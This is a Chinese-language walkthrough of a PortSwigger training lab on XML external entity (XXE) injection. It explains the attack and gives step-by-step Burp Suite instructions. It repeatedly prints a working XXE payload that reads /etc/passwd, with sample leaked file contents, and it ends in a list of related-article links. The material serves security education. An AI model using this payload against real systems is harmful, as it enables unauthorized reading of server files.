Lab: Exploiting XXE using external entities to retrieve files:利用外部实体利用 XXE 来检索文件...
利用XXE检索文件
要执行从服务器的文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML:
引入(或编辑)DOCTYPE定义包含文件路径的外部实体的元素。
编辑应用程序响应中返回的 XML 中的数据值,以使用定义的外部实体。
例如,假设购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
该应用程序没有针对 XXE 攻击执行特定的防御,因此您可以/etc/passwd通过提交以下 XXE 负载来利用 XXE 漏洞来检索文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
这个 XXE 负载定义了一个外部实体,&xxe;它的值是/etc/passwd文件的内容,并使用productId值中的实体。这会导致应用程序的响应包含文件的内容:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
靶场:
该实验室具有“检查库存”功能,可解析 XML 输入并在响应中返回任何意外值。
为了解决实验室问题,注入一个 XML 外部实体来检索/etc/passwd文件的内容。
操作:
- 访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
- 在 XML 声明和stockCheck元素之间插入以下外部实体定义:
-<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
- 将productId数字替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟/etc/passwd文件的内容。
代码如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>
Lab: Exploiting XXE using external entities to retrieve files:利用外部实体利用 XXE 来检索文件...相关推荐
- 【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)
前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...
- 4.XXE (XML External Entity Injection)
XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可 ...
- XML外部实体注入漏洞——XXE简单分析
前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...
- XXE(xml外部实体攻击)
1.概念 XXE(XML External Entity)是指xml外部实体攻击漏洞.XML外部实体攻击是针对解析XML输入的应用程序的一种攻击.当包含对外部实体的引用的XML输入被弱配置XML解析器 ...
- XXE(外部实体注入)| PortSwigger(burpsuite官方靶场)| Part 3
写在前面 关于XXE的前置知识,引用和备注,请看Part 1 XXE Part 1 XInclude attacks 一些应用程序接收客户端提交的数据,在服务器端将其嵌入到 XML 文档中,然后解析该 ...
- XXE外部实体注入漏洞总结
Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/cou ...
- XML External Entities 攻击(XML外部实体注入)
使用配置的 XML 解析器无法预防和限制外部实体进行解析,这会使解析器暴露在 XML External Entities 攻击 之下 说明: XML External Entities 攻击可利用能够 ...
- 【网络安全】JAVA代码审计—— XXE外部实体注入
一.WEB安全部分 想要了解XXE,在那之前需要了解XML的相关基础 二.XML基础 2.1 XML语法 所有的XML元素都必须有一个关闭标签 XML标签对大小写敏感 XML必须正确嵌套 XML 文档 ...
- XXE(XML外部实体注入)详解
1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...
最新文章
- 基于supersocket、C#对JT808协议进行解析构建gps监控平台服务端
- 王者荣耀服务器维护5月22,5月22日王者荣耀更新内容一览
- 不能导入android项目备注
- .NET Core容器化@Docker
- tornado学习笔记day08-tornado中的异步
- mysql 不同服务器不同库之间的访问_不同服务器数据库之间的数据操作
- java 新建 api 案列_Java利用webservice创建接口案例源码
- 矩阵的四个基本子空间
- eclipse支持html,让eclipse完全支持HTML/JS/CSS智能提示
- 开课吧Java课堂之如何使用FilenameFilter
- 【干货笔记】Generating Question-Answer Hierarchies阅读笔记
- Manadata:用于数据管理的SPSS宏
- hive中的date函数
- matlab 二维矩形函数,科学网—利用MATLAB对非矩形域实现二维插值 - 张乐乐的博文...
- Linux快捷方式There was an error launching the application
- CentOS7安装配置Tomcat9
- 神牛TT685C闪光灯ETTL模式不同步解决方案
- glusterfs搭建
- 安卓10不支持qmc解码_魅族官宣内测安卓10 数十款机型支持和四大亮点加持
- 微信小程序管理客服微信号